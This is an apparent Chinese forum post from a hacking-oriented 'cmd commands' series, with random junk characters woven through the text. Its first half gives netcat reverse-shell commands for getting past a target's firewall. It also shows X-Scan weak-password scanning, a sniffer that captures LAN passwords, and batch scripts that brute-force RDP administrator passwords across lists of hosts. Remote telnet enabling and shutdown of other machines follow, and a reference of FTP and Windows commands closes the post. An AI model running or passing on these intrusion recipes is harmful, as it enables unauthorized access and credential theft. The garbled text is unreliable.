作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用 " N! Z4 Q+ {' Z( k {本机上用:nc -l -p 本机端口 1 j$ c5 e2 i" { 在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K 7 u( F+ O$ W) M. S4 ~nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙 % I! z& N, I: W5 ^$ V 本机上用:nc -d -l -p 本机端口 < 要传送的文件路径及名称 # n! y* b( {6 s# Y在对方主机上用:nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机 $ _( k% _/ l/ r8 r5 [; h. ` 备 注: " p" g# o6 Q! i+ | | 管道命令 & s3 F) L+ ]8 f" ^< 或 > 重定向命令。“<”,例如:tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令 ( M) N% s+ X" R5 H, r@ 表示执行@后面的命令,但不会显示出来(后台执行);例:@dir c:\winnt >> d:\log.txt 意思是:后台执行dir,并把结果存在d:\log.txt中 1 {; P( E9 D$ f% N' t$ j >与>>的区别  ">"指:覆盖;">>"指:保存到(添加到)。 8 a6 r4 M5 H, K4 l8 l5 Q如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。, f% W' Z/ h: o2 C2 r# x$ F #8 八: 3 v- W9 v* B' U; V$ x2、扫锚工具:xscan.exe . f, \( a' t8 b }6 v: }& A基本格式 + K8 ]" D) ^4 e3 O X) ?xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息 & Q& z0 r: |- I! N xscan -file <主机列表文件名> <检测项目> [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息 5 W% i" e2 g. U; i 检测项目 . \6 X, e! ~/ j" `$ w-active 检测主机是否存活 ! o3 m' N5 H( p+ p2 V, J -os 检测远程操作系统类型(通过NETBIOS和SNMP协议) ( s! \; D4 A, T+ n* Z) q/ o& D-port 检测常用服务的端口状态 ) V3 F/ {: \2 [+ D% q. s-ftp 检测FTP弱口令 ) C: [! H- H1 Y B, Q! g' c -pub 检测FTP服务匿名用户写权限 7 K, U5 m5 o8 p+ J9 t -pop3 检测POP3-Server弱口令 7 m n% }- {& n; V/ p-smtp 检测SMTP-Server漏洞 $ u! I. ?# V; F, o7 W6 p0 ^-sql 检测SQL-Server弱口令 ( W3 C1 O% o2 w1 Z+ v7 i4 Y5 `-smb 检测NT-Server弱口令 ' Q% k9 F/ H, p. z. i -iis 检测IIS编码/解码漏洞 0 u _8 R5 K% l6 L3 d O0 X-cgi 检测CGI漏洞 ) L* u, x% ?, ?3 H-nasl 加载Nessus攻击脚本 # V* [# a: y0 U& Q5 z, R -all 检测以上所有项目 & I7 B4 V \6 Y5 t 其它选项 $ n- s" T# h" @6 q-i 适配器编号 设置网络适配器, <适配器编号>可通过"-l"参数获取 2 V5 B( A% b, a3 ^$ _, E-l 显示所有网络适配器 * b6 O! s2 I* g' n; ?* c ~ -v 显示详细扫描进度 6 v' }1 U- W: ]/ c( ^ -p 跳过没有响应的主机 8 Q8 v6 h! R5 \" E7 r -o 跳过没有检测到开放端口的主机 ) k e2 `3 ^% b3 c+ @  -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10 3 W0 \- F5 s4 G3 b: N -log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件) ( a' x0 m! F( W+ F2 i 用法示例 % k- q+ I$ t" Q' F( X, zxscan -host 192.168.1.1-192.168.255.255 -all -active -p  检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机 9 A" a `2 h" i+ G9 j5 {( |9 Y _ xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机 $ |" B* O; P; Z5 P; I xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机 + B# K r+ B" e6 F2 u' \3 Y#9 九: 0 a2 G. U# d- w" n: F) q3、命令行方式嗅探器: xsniff.exe+ b9 L% `, P; o3 N$ W 可捕获局域网内FTP/SMTP/POP3/HTTP协议密码- }# J- K9 |2 r. M" x) D 参数说明 0 t/ j; d8 v# \-tcp 输出TCP数据报 . m) K( `0 X1 M6 O2 \, p- Y -udp 输出UDP数据报 $ e8 F0 E3 _! B% H-icmp 输出ICMP数据报 $ v$ V7 K5 S- {3 E, m7 e0 F-pass 过滤密码信息 * h0 ^/ b; x; l0 h8 i -hide 后台运行 % p# n! c1 N9 j' o. i-host 解析主机名 . T. f" U" f5 b; K' I2 S-addr IP地址 过滤IP地址 " H; z7 C! ~( D2 K0 ` -port 端口 过滤端口 7 ? @ \4 T9 [% f" A -log 文件名 将输出保存到文件 2 q( p/ U2 l- ?( j! K# l3 `( b -asc 以ASCII形式输出 $ w6 E0 l9 K- H% P-hex 以16进制形式输出 & N" G H; z- r 用法示例 9 ^) H, m: f" G `% Vxsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中 / e0 F( H6 w* I" ~ xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出 9 K: t. c! O i) J5 W 4、终端服务密码破解: tscrack.exe : Y6 m0 P4 e/ t) t9 \4 o5 ~( H9 t参数说明 & s$ x# t& l/ n -h 显示使用帮助 6 r& d8 E0 f8 n6 t% D -v 显示版本信息 5 M. t7 L4 m9 u% w$ n -s 在屏幕上打出解密能力 4 W6 J7 h- }0 B% @' B8 |-b 密码错误时发出的声音 # y- ^! {. U! @* _1 S3 r+ f4 j -t 同是发出多个连接(多线程) b+ W' U' w4 `$ S _ -N Prevent System Log entries on targeted server + U @) t7 X% H1 ~) Q -U 卸载移除tscrack组件 ; \/ z; Y' Z8 x* b+ C4 A -f 使用-f后面的密码 . E# _! j( ~; Q) P* d5 f -F 间隔时间(频率) $ K/ m) m$ R! d- f q- a-l 使用-l后面的用户名 3 |' S9 A& ~9 r, h% V-w 使用-w后面的密码字典 . R# Q+ W2 ^% m6 } -p 使用-p后面的密码 : E% _2 G" D2 D -D 登录主页面 ! ]& }( a) ^7 l) `& x0 e用法示例 $ a. L; r9 r% [ ytscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典文件暴破主机的administrator的登陆密码 5 b3 e. L' o. a% I4 F& D9 k tscrack 192.168.0.1 -l administrator -p 123456 用密码123456远程登陆192.168.0.1的administrator用户 _; C) d/ U+ r. F. f- N@if not exist ipcscan.txt goto noscan ! m) A/ u0 |7 z- n2 ?- p6 k/ Q @for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i : l C- _ Y4 H! bnscan ' E" r4 _/ n6 t! s@echo 3389.txt no find or scan faild 3 `, ?" k8 I2 M0 o2 u(①存为3389.bat) (假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt) : X* E5 M5 S; R0 `' V" [! E 3389.bat意思是:从3389.txt文件中取一个IP,接着运行hack.bat " A% @0 \: W+ \2 {' i+ m! w# N3 g @if not exist tscrack.exe goto noscan 4 ?( C$ M4 M$ L5 V* D@tscrack %1 -l administrator -w pass.dic >>rouji.txt ( x" V3 j8 ~) k! b/ s$ S" _ :noscan : z" r; F) K' S @echo tscrack.exe no find or scan faild 6 ?/ V. @; G; n) D% Y* f) ]) r9 ? (②存为hack.bat) (运行3389.bat就OK,且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下;就可以等待结果了) 6 p' q; p7 y' w3 ahack.bat意思是:运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码,并将破解结果保存在rouji.txt文件中。 1 g, k; [. J# C/ [( g& b, k% M5、其它:8 m2 [9 N4 a. Y: q5 {8 W! D Shutdown.exe - B+ }% d# U' U Shutdown \\IP地址 t:20 20秒后将对方NT自动关闭(Windows 2003系统自带工具,在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。) 2 l1 U v7 l. T) I% `8 pfpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明(端口重定向绕过防火墙) ) a: B# o8 h* p fpipe -l 80 -s 1029 -r 80 www.sina.com.cn 当有人扫锚你的80端口时,他扫到的结果会完全是www.sina.com.cn的主机信息 ! S \1 n6 ^- S8 D4 X5 QFpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后,就通过88端口发送到目标IP的23端口。(与目标IP建立Telnet时本机就用的88端口与其相连接)然后:直接Telnet 127.0.0.1(本机IP)就连接到目标IP的23端口了。 # S& A, u$ p# Z0 e, f1 |, VOpenTelnet.exe (远程开启telnet工具) ) _" T# h: P8 e. C0 R) X! Xopentelnet.exe \\IP 帐号 密码 ntlm认证方式 Telnet端口 (不需要上传ntlm.exe破坏微软的身份验证方式)直接远程开启对方的telnet服务后,就可用telnet \\ip 连接上对方。+ b+ L$ u9 Z5 x NTLM认证方式:0:不使用NTLM身份验证;1:先尝试NTLM身份验证,如果失败,再使用用户名和密码;2:只使用NTLM身份验证。 & @" ^) v) k, @! z0 A% x9 y vResumeTelnet.exe (OpenTelnet附带的另一个工具) + N3 R$ I- K9 Y& Z resumetelnet.exe \\IP 帐号 密码 用Telnet连接完对方后,就用这个命令将对方的Telnet设置还原,并同时关闭Telnet服务。 % c2 a1 ^) Z E#10 十: ; X* z, u- K& q) A6、FTP命令详解: 7 T* Z! Q% X- q4 @& j4 w9 Y( GFTP命令是Internet用户使用最频繁的命令之一,熟悉并灵活应用FTP的内部命令,可以大大方便使用者,并收到事半功倍之效。如果你想学习使用进行后台FTP下载,那么就必须学习FTP指令。 ( E! b9 c, u9 t6 JFTP的命令行格式为: . F7 i3 `0 @2 A: d3 N ftp -v -d -i -n -g [主机名] ,其中* W0 L, @* G! S- L -v 显示远程服务器的所有响应信息;0 X6 B7 g1 ~% }3 s4 j. o& y6 B -n 限制ftp的自动登录,即不使用;.n etrc文件;/ U; F6 y3 G/ z -d 使用调试方式; * [$ l8 A8 } W% L: s) y, ^-g 取消全局文件名。: G4 f7 b* r6 p% f) F, K FTP使用的内部命令如下(中括号表示可选项): . P4 @ }8 p. Y8 i4 p5 i) S1.![cmd[args]]:在本地机中执行交互shell,exit回到ftp环境,如:!ls*.zip L; D- ]. j2 K) @. y 2.$ macro-ame[args]: 执行宏定义macro-name。 ' X5 L- H; T$ M- Q" i3.account[password]: 提供登录远程系统成功后访问系统资源所需的补充口令。 , |% z4 y# V, {# ^4.append local-file[remote-file]:将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。% X9 j3 M" C3 i: N, e4 z 5.ascii:使用ascii类型传输方式。8 ?* ~+ W) f* ^- Q% p8 E* q 6.bell:每个命令执行完毕后计算机响铃一次。8 b7 v5 A. ?+ L. k 7.bin:使用二进制文件传输方式。 * Z$ G7 E1 ?# m( _" d8.bye:退出ftp会话过程。1 g& k& ?0 F; Z" q 9.case:在使用mget时,将远程主机文件名中的大写转为小写字母。 0 ~" N& c2 }- ]; l+ P10.cd remote-dir:进入远程主机目录。# n Q# w' N& B( O' Q- w3 F 11.cdup:进入远程主机目录的父目录。 6 c8 O5 G' @; Z, l H- m; \$ _3 Z 12.chmod mode file-name:将远程主机文件file-name的存取方式设置为mode,如:chmod 777 a.out。 * V' u& Z. E5 R0 q1 M13.close:中断与远程服务器的ftp会话(与open对应)。 , K6 S6 a4 X% L14.cr:使用asscii方式传输文件时,将回车换行转换为回行。 2 X- Z5 @- w2 `5 V9 C1 B$ K15.delete remote-file:删除远程主机文件。 7 q# J- V0 p! J8 J7 H7 M( E16.debug[debug-value]:设置调试方式, 显示发送至远程主机的每条命令,如:deb up 3,若设为0,表示取消debug。 9 F4 Q% D4 s/ M6 ~17.dir[remote-dir][local-file]:显示远程主机目录,并将结果存入本地文件。 3 x9 H8 [6 A: U% ] 18.disconnection:同close。, _. q! ?0 o, k' ] 19.form format:将文件传输方式设置为format,缺省为file方式。 / q, U+ Y J1 B* b& [+ O7 c$ \20.get remote-file[local-file]: 将远程主机的文件remote-file传至本地硬盘的local-file。# a4 f2 L$ N, g3 l3 }. l6 W5 m 21.glob:设置mdelete,mget,mput的文件名扩展,缺省时不扩展文件名,同命令行的-g参数。 ; W# j0 R) C( |) ^" v7 M& a 22.hash:每传输1024字节,显示一个hash符号(#)。$ C! O \' h! z4 t6 |- Y 23.help[cmd]:显示ftp内部命令cmd的帮助信息,如:help get。 $ I/ S" ^9 H F) U3 m7 D24.idle[seconds]:将远程服务器的休眠计时器设为[seconds]秒。# q8 {' \9 X, G3 [' S 25.image:设置二进制传输方式(同binary)。 5 C' C: H# j* y L- f1 {0 r3 Y26.lcd[dir]:将本地工作目录切换至dir。1 F$ ]# H$ _) h% @, l( i 27.ls[remote-dir][local-file]:显示远程目录remote-dir, 并存入本地文件local-file。 + T8 R) M; N$ S+ a5 |6 f 28.macdef macro-name:定义一个宏,遇到macdef下的空行时,宏定义结束。 ' D) h0 F( {( u/ Q, o$ H29.mdelete[remote-file]:删除远程主机文件。 . x# v- y" d4 M 30.mdir remote-files local-file:与dir类似,但可指定多个远程文件,如 :mdir *.o.*.zipoutfile 。 , n8 W1 u7 Q& q( @! K5 x8 E z1 o) A31.mget remote-files:传输多个远程文件。 ! d9 ^) \. R5 z! s( \) y/ h, @; _ 32.mkdir dir-name:在远程主机中建一目录。 & g% o0 ~3 g& @( B33.mls remote-file local-file:同nlist,但可指定多个文件名。 C. Q; y, Y6 [4 a34.mode[modename]:将文件传输方式设置为modename, 缺省为stream方式。$ y5 v; C: e5 i" S) U, H' @9 l 35.modtime file-name:显示远程主机文件的最后修改时间。 6 `' o9 o' P( k+ z S! P' _ V 36.mput local-file:将多个文件传输至远程主机。& E' E" d5 m" `9 r 37.newer file-name: 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近,则重传该文件。1 F6 i E; I, N" G 38.nlist[remote-dir][local-file]:显示远程主机目录的文件清单,并存入本地硬盘的local-file。 5 _( S' P, L' F; {( a$ D" e39.nmap[inpattern outpattern]:设置文件名映射机制, 使得文件传输时,文件中的某些字符相互转换, 如:nmap $1.$2.$3[$1,$2].[$2,$3],则传输文件a1.a2.a3时,文件名变为a1,a2。 该命令特别适用于远程主机为非UNIX机的情况。 0 s- s3 n0 M9 }; o3 O2 n) u: e2 ?40.ntrans[inchars[outchars]]:设置文件名字符的翻译机制,如ntrans1R,则文件名LLL将变为RRR。 . c0 _) k* }1 e1 Q3 P, Q: W1 }6 R0 C41.open host[port]:建立指定ftp服务器连接,可指定连接端口。 , V; Z! v. A1 s9 ~! ?9 m/ j# L) T, A42.passive:进入被动传输方式。4 }8 V" m H4 ^7 s1 M 43.prompt:设置多个文件传输时的交互提示。 . U' j% O3 a0 F6 @. a/ t6 n$ x44.proxy ftp-cmd:在次要控制连接中,执行一条ftp命令, 该命令允许连接两个ftp服务器,以在两个服务器间传输文件。第一条ftp命令必须为open,以首先建立两个服务器间的连接。* B' e& l5 B$ K+ a7 l9 o 45.put local-file[remote-file]:将本地文件local-file传送至远程主机。 $ x0 a9 t& C/ p9 Z! N6 D: ? 46.pwd:显示远程主机的当前工作目录。 3 l; _! q% f; c9 w47.quit:同bye,退出ftp会话。 ) o/ E x% _! }. m i+ ]48.quote arg1,arg2...:将参数逐字发至远程ftp服务器,如:quote syst. c+ C) r( B8 R2 x4 ^ 49.recv remote-file[local-file]:同get。 , c9 a5 d& q A, \& G 50.reget remote-file[local-file]:类似于get, 但若local-file存在,则从上次传输中断处续传。% f# X8 i+ k' a2 M 51.rhelp[cmd-name]:请求获得远程主机的帮助。 ; A1 B" W s( V, ^( O: X52.rstatus[file-name]:若未指定文件名,则显示远程主机的状态, 否则显示文件状态。 % p0 g. ^$ R! b- N1 a1 S1 d$ L53.rename[from][to]:更改远程主机文件名。 & N) T) W) ?8 ?4 m. Q: Q) r' ^ 54.reset:清除回答队列。 ) ?+ v* d3 e4 @0 y& L3 w0 ]# w55.restart marker:从指定的标志marker处,重新开始get或put,如:restart 130。 : E% s; [8 W+ p56.rmdir dir-name:删除远程主机目录。 % M1 P2 D( Y( \% N8 J' d8 R57.runique:设置文件名只一性存储,若文件存在,则在原文件后加后缀.1, .2等。 " B0 U$ \( e$ |/ Y58.send local-file[remote-file]:同put。 u) E: d+ S1 r# b59.sendport:设置PORT命令的使用。 ' t- k$ ]$ a# I 60.site arg1,arg2...:将参数作为SITE命令逐字发送至远程ftp主机。$ Q+ }0 o3 {5 X6 N; W2 i) x- f' Q 61.size file-name:显示远程主机文件大小,如:site idle 7200。 & @8 _! g+ r5 D8 M; ` 62.status:显示当前ftp状态。+ Q7 n$ a1 ]+ y# J) W) T 63.struct[struct-name]:将文件传输结构设置为struct-name, 缺省时使用stream结构。 / \# K( M7 U B" {) r( k# @ ~ 64.sunique:将远程主机文件名存储设置为只一(与runique对应)。 " B2 c0 g8 T$ @: K7 z65.system:显示远程主机的操作系统类型。 5 f, Z* N" O- a. G! Y5 b' A( l* d66.tenex:将文件传输类型设置为TENEX机的所需的类型。* y4 |, w; b o9 \ y) Y 67.tick:设置传输时的字节计数器。 `7 X* t( M$ q0 [ 68.trace:设置包跟踪。 r9 q) w6 b& E' W- G 69.type[type-name]:设置文件传输类型为type-name,缺省为ascii,如:type binary,设置二进制传输方式。 ( U6 p* s. ~; G4 a5 m70.umask[newmask]:将远程服务器的缺省umask设置为newmask,如:umask 39 ?6 V; X4 ~' z, D0 M 71.user user-name[password][account]:向远程主机表明自己的身份,需要口令时,必须输入口令,如:user anonymous [email=my@email]my@email[/email]。 7 B% n% m! n8 Q6 a! W- M 72.verbose:同命令行的-v参数,即设置详尽报告方式,ftp 服务器的所有响 应都将显示给用户,缺省为on." d7 E( d: h& Z7 a! v 73.?[cmd]:同help. % ?, i( i3 R9 i, ^7 }#11 十一: , e, z* h9 ]. U7:计算机运行命令全集 winver---------检查Windows版本 ( A4 m1 f* w, j) h: N4 Ewmimgmt.msc----打开windows管理体系结构 ' ?: x) g% A, d' ^- Y5 s1 Ewupdmgr--------windows更新程序 1 S$ F2 M" u1 `( a4 E' C" i3 Twinver---------检查Windows版本! m1 C3 |3 j& T; L) T& I1 r wmimgmt.msc----打开windows管理体系结构4 V5 v) I8 ]7 y: @$ \% Y wupdmgr--------windows更新程序 5 l, F( H+ `* V- C f. Fwscript--------windows脚本宿主设置 5 Y) ?1 _8 D9 _# r# Iwrite----------写字板winmsd-----系统信息- x0 ?) C5 K& T( d9 u wiaacmgr-------扫描仪和照相机向导 ( o( [, u0 h# t+ U* \7 Q5 cwinchat--------XP自带局域网聊天2 F2 F/ a+ U+ z mem.exe--------显示内存使用情况9 k4 A# J# {, S q. C* [& u$ O Msconfig.exe---系统配置实用程序 y0 \6 Q( q# }- lmplayer2-------简易widnows media player0 k) t3 | D, ]0 q m mspaint--------画图板 + o' H J, T: q1 V/ X5 M) Q4 Ymstsc----------远程桌面连接4 }% `3 e- t: @& K mplayer2-------媒体播放机% x; y5 ^# C4 z magnify--------放大镜实用程序9 g8 q& t3 ^2 o3 p1 R mmc------------打开控制台# o" s7 P5 I( D$ ` l; x: N mobsync--------同步命令$ D! h; E6 U6 p2 n) z1 f P! c dxdiag---------检查DirectX信息+ P3 }" u5 w) _ drwtsn32------ 系统医生 r, Y* o& M3 N6 tdevmgmt.msc--- 设备管理器 # [: `/ z7 t, A5 Ddfrg.msc-------磁盘碎片整理程序 $ j( A& G; a/ {1 adiskmgmt.msc---磁盘管理实用程序 6 T. l$ Q7 ~1 g& X2 T' [dcomcnfg-------打开系统组件服务 ! g. \% n9 i: g- K9 s: j5 P: j+ s6 nddeshare-------打开DDE共享设置 7 e$ X+ [. I9 a" h) R# cdvdplay--------DVD播放器 5 Y& Z1 C7 v% ^8 ~& y& \5 ]net stop messenger-----停止信使服务) [: L$ P& h0 v' O. y net start messenger----开始信使服务 ! K X* U5 R3 u) E% F' F. D/ Qnotepad--------打开记事本9 V0 b' P) W& f nslookup-------网络管理的工具向导 7 t2 x% a" q3 N( g/ U3 d7 wntbackup-------系统备份和还原5 j: W9 `6 v7 ]( ]" l0 I' p1 X narrator-------屏幕"讲述人"( z5 T, c( q0 [ ntmsmgr.msc----移动存储管理器 ' G. X9 B" F: I1 F; entmsoprq.msc---移动存储管理员操作请求 " V0 X# F+ L! i2 {netstat -an----(TC)命令检查接口8 l* I M0 h6 ]% {3 e% ~' y% [6 p syncapp--------创建一个公文包% @" p8 B; r4 m1 i, H7 n8 | sysedit--------系统配置编辑器 + w8 o. I7 `$ c9 zsigverif-------文件签名验证程序 5 t/ h& U/ y. f+ F. Lsndrec32-------录音机 3 Q( ~5 M9 u9 G# ]' h; Rshrpubw--------创建共享文件夹- Z% _: @) H4 V secpol.msc-----本地安全策略 # F3 k& P/ q) L4 H# H" k% A( ysyskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码 5 U% Y5 C# X0 ]services.msc---本地服务设置 8 i6 Y. _6 Z+ ?, ^% e6 o( n; n& sSndvol32-------音量控制程序5 a) ^4 F5 }! s/ C. ?3 i P sfc.exe--------系统文件检查器& _. G! Q/ N" ~; Z& v! [; y3 E1 { sfc /scannow---windows文件保护: Q. ?) S: h7 y3 C tsshutdn-------60秒倒计时关机命令6 p. j3 Q/ h- L1 z8 R tourstart------xp简介(安装完成后出现的漫游xp程序)3 S8 |2 V& D$ y$ m/ T taskmgr--------任务管理器0 Z1 q& Q' i9 C0 d eventvwr-------事件查看器3 W' D5 b- Z1 W' { _' o eudcedit-------造字程序 6 P2 S4 Z4 j; Yexplorer-------打开资源管理器 / s; S/ H- n( ?+ L8 o$ Q spackager-------对象包装程序 9 w( |# Z; s, Y9 bperfmon.msc----计算机性能监测程序1 v3 \1 l C: j8 [5 s progman--------程序管理器 ) t9 C3 ^" a7 f6 O& }$ Z$ A0 Pregedit.exe----注册表 " V( \- q( O5 }- J. Nrsop.msc-------组策略结果集( i; X* i+ [4 H regedt32-------注册表编辑器 6 l; r% Z8 D7 {+ X7 p% p. V! e7 krononce -p ----15秒关机 - m! A8 g" h0 v$ a q8 X6 fregsvr32 /u *.dll----停止dll文件运行 ) k; F6 a% Y Z! Nregsvr32 /u zipfldr.dll------取消ZIP支持 7 q9 f4 M* b. Mcmd.exe--------CMD命令提示符 3 [ ~) e) Y1 v, ]8 W8 K8 tchkdsk.exe-----Chkdsk磁盘检查 0 l* v# k) X0 r1 vcertmgr.msc----证书管理实用程序 * F/ j" @. f0 d, B/ ]5 L/ fcalc-----------启动计算器7 l; [" ~, D5 r$ Y- o( n) C+ @2 O charmap--------启动字符映射表 % j9 P: C1 c% s) ecliconfg-------SQL SERVER 客户端网络实用程序; ]. W4 t3 {& S% Z Clipbrd--------剪贴板查看器 / ~8 x' I2 J2 j3 n B8 d( n, \conf-----------启动netmeeting( L% K( W* a9 C* ]7 u" r' b compmgmt.msc---计算机管理6 M% n7 H: p& m" O( o) p) o/ G cleanmgr-------**整理 + B' d) f# b' ~9 Sciadv.msc------索引服务程序1 J3 l& A! O# a u osk------------打开屏幕键盘" H) O( r4 }& m% c" l: I. u odbcad32-------ODBC数据源管理器 $ f" k _# [" a1 f9 f: zoobe/msoobe /a----检查XP是否激活0 |: y! R9 ~/ o4 d d* E) [5 V lusrmgr.msc----本机用户和组 & H6 ^4 s) U; Y% v; ?logoff---------注销命令& Y/ \- j9 V- E5 S$ t1 K( `* M iexpress-------木马捆绑工具,系统自带4 g- M# F3 {/ Z Nslookup-------IP地址侦测器, y) t: x1 N( f# d: X. b fsmgmt.msc-----共享文件夹管理器( h) m; S7 A* U1 e) f: d utilman--------辅助工具管理器 4 H7 ~$ Q! {9 u3 `gpedit.msc-----组策略
遨海湾-心灵的港湾 www.aosea.com
发表于 2007-10-14 14:01:00 | 显示全部楼层

回复:cmd命令大全

再汗一个
遨海湾-心灵的港湾 www.aosea.com
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 入住遨海湾

本版积分规则

网站解决方案专享优惠-3折上云

QQ|手机版|小黑屋|遨海湾超级社区

GMT+8, 2025-10-25 03:49

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表